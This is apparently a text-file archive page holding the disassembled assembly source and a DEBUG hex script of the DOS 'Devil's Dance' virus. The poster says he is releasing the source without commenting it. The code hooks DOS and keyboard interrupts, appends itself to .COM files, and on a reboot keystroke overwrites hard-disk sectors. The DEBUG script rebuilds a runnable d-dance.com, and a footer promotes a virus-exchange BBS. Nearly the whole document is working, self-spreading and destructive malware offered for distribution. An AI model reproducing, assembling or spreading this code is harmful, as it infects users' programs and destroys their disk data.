Copy Link
Add to Bookmark
Report
SOURCE00.006 - The Devils Dance Virus [Source/Debug Script]
Ok, Here we have the disassembly and debug script of the Devil's Dance virus. I did NOT feel like boring myself by commenting this virus, as I wanted to get The SOURCE out. Albeit, I did use Sourcer (tm), so there are some comments already here. This virus traps interrupts 21h and 09h.
[--- Cut Here -----------------------------------------------------------------]
data_1e equ 417h
data_2e equ 450h
data_3e equ 1 ;*
data_4e equ 0 ;*
data_5e equ 2 ;*
data_6e equ 4 ;*
data_7e equ 6 ;*
data_8e equ 8 ;*
data_9e equ 15h ;*
data_10e equ 20h ;*
data_11e equ 103h ;*
data_12e equ 0
data_13e equ 2
data_14e equ 6
data_15e equ 15h
data_16e equ 20h
psp_cmd_size equ 80h
data_17e equ 9Ah
data_18e equ 9Eh
data_32e equ 6F63h ;*
data_34e equ 0E1E4h ;*
data_39e equ 0EEF5h ;*
data_41e equ 0EFF9h ;*
data_42e equ 0F6E5h ;*
data_43e equ 64Ah
data_44e equ 870h
data_45e equ 9B0h
data_46e equ 0B40h
seg_a segment byte public
assume cs:seg_a, ds:seg_a
org 100h
DDANCE proc far
start:
jmp loc_3
db 0CDh, 20h
loc_3:
mov si,word ptr ds:[101h]
add si,103h
push si
mov cx,3
add si,offset data_27
mov di,100h
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
pop si
call sub_1
jnc loc_4 ; Jump if carry=0
call sub_4
call sub_2
loc_4:
mov ax,100h
push ax
mov ax,cs
mov ds,ax
mov es,ax
retn
DDANCE endp
;flflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflfl
; SUBROUTINE
;‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹
sub_1 proc near
push es
mov ax,3521h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
cmp byte ptr es:[bx-3],44h ; 'D'
jne loc_5 ; Jump if not equal
cmp byte ptr es:[bx-2],72h ; 'r'
jne loc_5 ; Jump if not equal
cmp byte ptr es:[bx-1],6Bh ; 'k'
pop es
clc ; Clear carry flag
retn
loc_5:
pop es
stc ; Set carry flag
retn
sub_1 endp
;flflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflfl
; SUBROUTINE
;‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹
sub_2 proc near
mov ax,4A00h
mov bx,1000h
push cs
pop ds
int 21h ; DOS Services ah=function 4Ah
; change memory allocation
; bx=bytes/16, es=mem segment
mov ax,4800h
mov bx,4Ch
int 21h ; DOS Services ah=function 48h
; allocate memory, bx=bytes/16
cld ; Clear direction
mov es,ax
push si
mov bx,si
mov di,data_11e
mov cx,3ADh
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
mov word ptr es:data_4e,103h
pop si
push ds
push es
mov ax,es
dec ax
mov es,ax
mov word ptr es:data_3e,6
pop es
mov ax,es
mov ds,ax
mov ax,3521h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov ds:data_5e,bx
mov ds:data_6e,es
;* mov dx,offset loc_2 ;*
db 0BAh, 9Bh, 03h
mov ax,2521h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
mov ax,3509h
int 21h ; DOS Services ah=function 35h
; get intrpt vector al in es:bx
mov ds:data_7e,bx
mov ds:data_8e,es
mov word ptr ds:data_10e,0
mov byte ptr ds:data_9e,0
mov ax,2509h
;* mov dx,offset loc_1 ;*
db 0BAh,0C0h, 01h
int 21h ; DOS Services ah=function 25h
; set intrpt vector al to ds:dx
pop ds
retn
sub_2 endp
int 3 ; Debug breakpoint
sti ; Enable interrupts
push ax
push ds
xor ax,ax ; Zero register
mov ds,ax
mov al,ds:data_1e
and al,8
cmp al,8
jne loc_6 ; Jump if not equal
jmp loc_13
loc_6:
inc word ptr cs:data_16e
cmp byte ptr cs:data_15e,1
je loc_7 ; Jump if equal
cmp word ptr cs:data_16e,0Ah
je loc_7 ; Jump if equal
jmp short loc_12
db 90h
loc_7:
push dx
push si
push bx
push es
push cx
mov si,103h
add si,222h
mov byte ptr cs:data_15e,1
mov bx,word ptr cs:[32Bh]
inc word ptr cs:[32Bh]
cmp bx,32Bh
jae loc_8 ; Jump if above or =
jmp short loc_9
loc_8:
mov word ptr cs:[32Bh],325h
mov bx,325h
loc_9:
int 11h ; Put equipment bits in ax
and al,30h ; '0'
cmp ax,30h
jne loc_10 ; Jump if not equal
mov ax,0B800h
jmp short loc_11
loc_10:
mov ax,0B800h
loc_11:
mov es,ax
mov al,cs:[bx]
push ax
mov ax,ds:data_2e
xchg ah,al
mov bl,ah
xor ah,ah ; Zero register
xor bh,bh ; Zero register
mov cx,0A0h
mul cx ; dx:ax = reg * ax
shl bx,1 ; Shift w/zeros fill
add bx,ax
inc bx
pop ax
mov es:[bx],al
pop cx
pop es
pop bx
pop si
pop dx
loc_12:
pop ds
pop ax
cli ; Disable interrupts
jmp dword ptr cs:data_14e
loc_13:
in al,60h ; port 60h, keybd scan or sw1
cmp al,53h ; 'S'
je loc_14 ; Jump if equal
pop ds
pop ax
jmp dword ptr cs:data_14e
loc_14:
int 11h ; Put equipment bits in ax
and ax,48h
cmp ax,48h
jne loc_15 ; Jump if not equal
mov ax,0B000h
jmp short loc_16
loc_15:
mov ax,0B800h
loc_16:
mov es,ax
mov ax,cs
mov ds,ax
xor di,di ; Zero register
mov ah,7
mov al,0B1h
mov cx,7D0h
rep stosw ; Rep when cx >0 Store ax to es:[di]
mov di,data_43e
mov si,331h
loc_17:
lodsb ; String [si] to al
sub al,80h
or al,al ; Zero ?
jz loc_19 ; Jump if zero
mov ah,0Fh
stosw ; Store ax to es:[di]
mov cx,0A000h
locloop_18:
add ax,1
loop locloop_18 ; Loop if cx > 0
jmp short loc_17
loc_19:
mov di,data_44e
mov si,377h
loc_20:
lodsb ; String [si] to al
sub al,80h
or al,al ; Zero ?
jz loc_22 ; Jump if zero
mov ah,0Fh
stosw ; Store ax to es:[di]
mov cx,0A000h
locloop_21:
add ax,1
loop locloop_21 ; Loop if cx > 0
jmp short loc_20
loc_22:
mov di,data_45e
mov si,offset data_25
loc_23:
lodsb ; String [si] to al
sub al,80h
or al,al ; Zero ?
jz loc_26 ; Jump if zero
mov ah,0Fh
stosw ; Store ax to es:[di]
mov cx,0A000h
locloop_24:
add ax,1
loop locloop_24 ; Loop if cx > 0
jmp short loc_23
loc_26:
mov dx,1Eh
mov cx,0Ah
locloop_27:
push cx
mov di,data_46e
push dx
shl dx,1 ; Shift w/zeros fill
add di,dx
pop dx
mov si,32Dh
loc_28:
lodsb ; String [si] to al
sub al,80h
or al,al ; Zero ?
jz loc_30 ; Jump if zero
mov ah,0Fh
stosw ; Store ax to es:[di]
mov cx,0A000h
locloop_29:
add ax,1
loop locloop_29 ; Loop if cx > 0
jmp short loc_28
loc_30:
add dx,3
pop cx
loop locloop_27 ; Loop if cx > 0
mov al,20h ; ' '
out 20h,al ; port 20h, 8259-1 int command
; al = 20h, end of interrupt
cmp word ptr cs:data_16e,1388h
jae loc_31 ; Jump if above or =
;* jmp far ptr loc_51 ;*
db 0EAh,0F0h,0FFh, 00h,0F0h
loc_31:
mov ax,0
int 13h ; Disk dl=drive ? ah=func 00h
; reset disk, al=return status
mov ax,301h
xor cx,cx ; Zero register
inc cx
xor dx,dx ; Zero register
mov dl,80h
int 13h ; Disk dl=drive 0 ah=func 03h
; write sectors from mem es:bx
; al=#,ch=cyl,cl=sectr,dh=head
or [bp+si],cx
or cx,[si]
loc_32:
or ax,250Eh
add cx,ax
;* loopz locloop_25 ;*Loop if zf=1, cx>0
db 0E1h,0A0h
or al,0E1h
nop ;*ASM fixup - short reg form
mul ch ; ax = reg * al
mov al,ds:data_41e
cmc ; Complement carry
mov al,ds:data_42e
in ax,0F2h ; port 0F2h ??I/O Non-standard
mov al,ds:data_34e
out dx,al ; port 80h, diagnostc chkpoint
jcxz loc_32 ; Jump if cx=0
in al,0A0h ; port 0A0h ??I/O Non-standard
imul cx ; dx:ax = reg * ax
hlt ; Halt processor
call $-0B5Dh
call $-5F18h
in al,0E5h ; port 0E5h ??I/O Non-standard
imul cl ; ax = reg * al
in al,dx ; port 0, DMA-1 bas&add ch 0
mov al,ds:data_39e
in al,0E5h ; port 0E5h ??I/O Non-standard
db 0F2h,0A0h,0F4h,0E8h,0E5h,0A0h
db 0F7h,0E5h,0E1h,0EBh,0A0h,0ECh
db 0E9h,0E7h,0E8h,0F4h,0A0h,0EFh
db 0E6h,0A0h,0F4h,0E8h,0E5h,0A0h
db 0EDh,0EFh,0EFh
db 0EEh
data_24 db 0BFh
db 80h,0D0h,0F2h,0E1h,0F9h,0A0h
db 0E6h,0EFh,0F2h,0A0h,0F9h,0EFh
db 0F5h,0F2h,0A0h,0E4h,0E9h,0F3h
db 0EBh
data_25 db 0A1h
db 80h,0D4h,0E8h,0E5h,0DFh,0CAh
db 0EFh,0EBh,0E5h,0F2h,0AEh,0AEh
db 0AEh, 80h, 44h, 72h, 6Bh, 9Ch
db 3Dh, 00h
db 4Bh
data_26 db 74h
db 20h, 80h,0FCh, 49h, 74h
data_27 db 3
db 0EBh, 13h
data_28 db 90h
data_29 dw 5350h ; Data table (indexed access)
db 8Ch,0C8h, 8Ch,0C3h, 3Bh,0D8h
db 5Bh, 58h, 75h, 06h,0F8h, 8Ch
db 0C0h,0CAh, 02h, 00h
loc_37:
popf ; Pop flags
jmp dword ptr cs:data_13e
db 55h, 50h, 53h, 51h, 52h, 1Eh
db 06h, 56h, 57h,0FCh, 8Bh,0F2h
loc_39:
lodsb ; String [si] to al
or al,al ; Zero ?
jz loc_40 ; Jump if zero
jmp short loc_39
loc_40:
sub si,4
cmp byte ptr [si],43h ; 'C'
jne loc_41 ; Jump if not equal
jz loc_42 ; Jump if zero
loc_41:
cmp byte ptr [si],63h ; 'c'
jne loc_43 ; Jump if not equal
loc_42:
mov ah,2Fh ; '/'
int 21h ; DOS Services ah=function 2Fh
; get DTA ptr into es:bx
push es
push bx
push dx
push ds
push cs
pop ds
mov dx,psp_cmd_size
mov ah,1Ah
int 21h ; DOS Services ah=function 1Ah
; set DTA(disk xfer area) ds:dx
pop ds
pop dx
mov ah,4Eh ; 'N'
mov cx,23h
int 21h ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
mov ax,cs
mov ds,ax
mov si,ds:data_12e
call sub_3
pop dx
pop ds
mov ah,1Ah
int 21h ; DOS Services ah=function 1Ah
; set DTA(disk xfer area) ds:dx
loc_43:
pop di
pop si
pop es
pop ds
pop dx
pop cx
pop bx
pop ax
pop bp
popf ; Pop flags
jmp dword ptr cs:data_13e
;flflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflfl
; SUBROUTINE
;‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹
sub_3 proc near
xor cx,cx ; Zero register
mov ax,4301h
mov dx,data_18e
xor cx,cx ; Zero register
int 21h ; DOS Services ah=function 43h
; set attrb cx, filename @ds:dx
mov ax,3D02h
mov dx,data_18e
int 21h ; DOS Services ah=function 3Dh
; open file, al=mode,name@ds:dx
mov bx,ax
jnc loc_44 ; Jump if carry=0
retn
loc_44:
mov ah,3Fh ; '?'
mov cx,3
mov dx,si
add dx,offset data_27
int 21h ; DOS Services ah=function 3Fh
; read file, bx=file handle
; cx=bytes to ds:dx buffer
jnc loc_46 ; Jump if carry=0
loc_45:
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
retn
loc_46:
mov ax,4200h
xor cx,cx ; Zero register
mov dx,cx
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
mov ax,ds:data_17e
sub ax,3
mov cs:data_29[si],ax
mov dx,si
add dx,offset data_28
mov ah,40h ; '@'
mov cx,3
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
jnc loc_47 ; Jump if carry=0
jmp short loc_45
loc_47:
mov ax,4202h
xor cx,cx ; Zero register
mov dx,cx
int 21h ; DOS Services ah=function 42h
; move file ptr, bx=file handle
; al=method, cx,dx=offset
mov ah,40h ; '@'
mov cx,3ADh
mov dx,si
int 21h ; DOS Services ah=function 40h
; write file bx=file handle
; cx=bytes from ds:dx buffer
mov ah,3Eh ; '>'
int 21h ; DOS Services ah=function 3Eh
; close file, bx=file handle
retn
sub_3 endp
;flflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflflfl
; SUBROUTINE
;‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹‹
sub_4 proc near
mov ah,4Eh ; 'N'
mov cx,23h
mov dx,si
add dx,offset data_26
int 21h ; DOS Services ah=function 4Eh
; find 1st filenam match @ds:dx
jnc loc_48 ; Jump if carry=0
jmp short loc_ret_49
db 90h
loc_48:
call sub_3
mov ah,4Fh ; 'O'
int 21h ; DOS Services ah=function 4Fh
; find next filename match
jc loc_ret_49 ; Jump if carry Set
jmp short loc_48
loc_ret_49:
retn
sub_4 endp
sub ch,ds:data_32e
db 6Dh, 00h, 90h, 90h, 90h,0E9h
db 00h, 00h
db 78 dup (0)
db 'This file was downloaded from th'
db 'e Virus Exchange BBS.', 0Dh, 0Ah
db 'Phone: +359-220-4198, working ho'
db 'urs: 20:00 - 6:00 GMT.', 0Dh, 0Ah
db 'Give it a call!', 0Dh, 0Ah
seg_a ends
end start
[--- Cut Here -----------------------------------------------------------------]
n d-dance.com
e 0100 EB 03 90 CD 20 8B 36 01 01 81 C6 03 01 56 B9 03
e 0110 00 81 C6 A7 03 BF 00 01 F3 A4 5E E8 13 00 73 06
e 0120 E8 65 03 E8 2A 00 B8 00 01 50 8C C8 8E D8 8E C0
e 0130 C3 06 B8 21 35 CD 21 26 80 7F FD 44 75 0F 26 80
e 0140 7F FE 72 75 08 26 80 7F FF 6B 07 F8 C3 07 F9 C3
e 0150 B8 00 4A BB 00 10 0E 1F CD 21 B8 00 48 BB 4C 00
e 0160 CD 21 FC 8E C0 56 8B DE BF 03 01 B9 AD 03 F3 A4
e 0170 26 C7 06 00 00 03 01 5E 1E 06 8C C0 48 8E C0 26
e 0180 C7 06 01 00 06 00 07 8C C0 8E D8 B8 21 35 CD 21
e 0190 89 1E 02 00 8C 06 04 00 BA 9B 03 B8 21 25 CD 21
e 01A0 B8 09 35 CD 21 89 1E 06 00 8C 06 08 00 C7 06 20
e 01B0 00 00 00 C6 06 15 00 00 B8 09 25 BA C0 01 CD 21
e 01C0 1F C3 CC FB 50 1E 33 C0 8E D8 A0 17 04 24 08 3C
e 01D0 08 75 03 E9 83 00 2E FF 06 20 00 2E 80 3E 15 00
e 01E0 01 74 0B 2E 83 3E 20 00 0A 74 03 EB 64 90 52 56
e 01F0 53 06 51 BE 03 01 81 C6 22 02 2E C6 06 15 00 01
e 0200 2E 8B 1E 2B 03 2E FF 06 2B 03 81 FB 2B 03 73 02
e 0210 EB 0A 2E C7 06 2B 03 25 03 BB 25 03 CD 11 24 30
e 0220 3D 30 00 75 05 B8 00 B8 EB 03 B8 00 B8 8E C0 2E
e 0230 8A 07 50 A1 50 04 86 E0 8A DC 32 E4 32 FF B9 A0
e 0240 00 F7 E1 D1 E3 03 D8 43 58 26 88 07 59 07 5B 5E
e 0250 5A 1F 58 FA 2E FF 2E 06 00 E4 60 3C 53 74 07 1F
e 0260 58 2E FF 2E 06 00 CD 11 25 48 00 3D 48 00 75 05
e 0270 B8 00 B0 EB 03 B8 00 B8 8E C0 8C C8 8E D8 33 FF
e 0280 B4 07 B0 B1 B9 D0 07 F3 AB BF 4A 06 BE 31 03 AC
e 0290 2C 80 0A C0 74 0D B4 0F AB B9 00 A0 05 01 00 E2
e 02A0 FB EB EC BF 70 08 BE 77 03 AC 2C 80 0A C0 74 0D
e 02B0 B4 0F AB B9 00 A0 05 01 00 E2 FB EB EC BF B0 09
e 02C0 BE 8B 03 AC 2C 80 0A C0 74 0D B4 0F AB B9 00 A0
e 02D0 05 01 00 E2 FB EB EC BA 1E 00 B9 0A 00 51 BF 40
e 02E0 0B 52 D1 E2 03 FA 5A BE 2D 03 AC 2C 80 0A C0 74
e 02F0 0D B4 0F AB B9 00 A0 05 01 00 E2 FB EB EC 83 C2
e 0300 03 59 E2 D9 B0 20 E6 20 2E 81 3E 20 00 88 13 73
e 0310 05 EA F0 FF 00 F0 B8 00 00 CD 13 B8 01 03 33 C9
e 0320 41 33 D2 B2 80 CD 13 09 0A 0B 0C 0D 0E 25 03 C8
e 0330 E1 A0 0C E1 90 F6 E5 A0 F9 EF F5 A0 E5 F6 E5 F2
e 0340 A0 E4 E1 EE E3 E5 E4 A0 F7 E9 F4 E8 A0 F4 E8 E5
e 0350 A0 E4 E5 F6 E9 EC A0 F5 EE E4 E5 F2 A0 F4 E8 E5
e 0360 A0 F7 E5 E1 EB A0 EC E9 E7 E8 F4 A0 EF E6 A0 F4
e 0370 E8 E5 A0 ED EF EF EE BF 80 D0 F2 E1 F9 A0 E6 EF
e 0380 F2 A0 F9 EF F5 F2 A0 E4 E9 F3 EB A1 80 D4 E8 E5
e 0390 DF CA EF EB E5 F2 AE AE AE 80 44 72 6B 9C 3D 00
e 03A0 4B 74 20 80 FC 49 74 03 EB 13 90 50 53 8C C8 8C
e 03B0 C3 3B D8 5B 58 75 06 F8 8C C0 CA 02 00 9D 2E FF
e 03C0 2E 02 00 55 50 53 51 52 1E 06 56 57 FC 8B F2 AC
e 03D0 0A C0 74 02 EB F9 83 EE 04 80 3C 43 75 02 74 05
e 03E0 80 3C 63 75 2B B4 2F CD 21 06 53 52 1E 0E 1F BA
e 03F0 80 00 B4 1A CD 21 1F 5A B4 4E B9 23 00 CD 21 8C
e 0400 C8 8E D8 8B 36 00 00 E8 15 00 5A 1F B4 1A CD 21
e 0410 5F 5E 07 1F 5A 59 5B 58 5D 9D 2E FF 2E 02 00 33
e 0420 C9 B8 01 43 BA 9E 00 33 C9 CD 21 B8 02 3D BA 9E
e 0430 00 CD 21 8B D8 73 01 C3 B4 3F B9 03 00 8B D6 81
e 0440 C2 A7 03 CD 21 73 05 B4 3E CD 21 C3 B8 00 42 33
e 0450 C9 8B D1 CD 21 A1 9A 00 2D 03 00 2E 89 84 AB 03
e 0460 8B D6 81 C2 AA 03 B4 40 B9 03 00 CD 21 73 02 EB
e 0470 D6 B8 02 42 33 C9 8B D1 CD 21 B4 40 B9 AD 03 8B
e 0480 D6 CD 21 B4 3E CD 21 C3 B4 4E B9 23 00 8B D6 81
e 0490 C2 A1 03 CD 21 73 03 EB 0C 90 E8 82 FF B4 4F CD
e 04A0 21 72 02 EB F5 C3 2A 2E 63 6F 6D 00 90 90 90 E9
e 04B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 04C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 04D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 04E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 04F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
e 0500 54 68 69 73 20 66 69 6C 65 20 77 61 73 20 64 6F
e 0510 77 6E 6C 6F 61 64 65 64 20 66 72 6F 6D 20 74 68
e 0520 65 20 56 69 72 75 73 20 45 78 63 68 61 6E 67 65
e 0530 20 42 42 53 2E 0D 0A 50 68 6F 6E 65 3A 20 2B 33
e 0540 35 39 2D 32 32 30 2D 34 31 39 38 2C 20 77 6F 72
e 0550 6B 69 6E 67 20 68 6F 75 72 73 3A 20 32 30 3A 30
e 0560 30 20 2D 20 36 3A 30 30 20 47 4D 54 2E 0D 0A 47
e 0570 69 76 65 20 69 74 20 61 20 63 61 6C 6C 21 0D 0A
rcx
480
w
q
[--- Cut Here -----------------------------------------------------------------]
- Havoc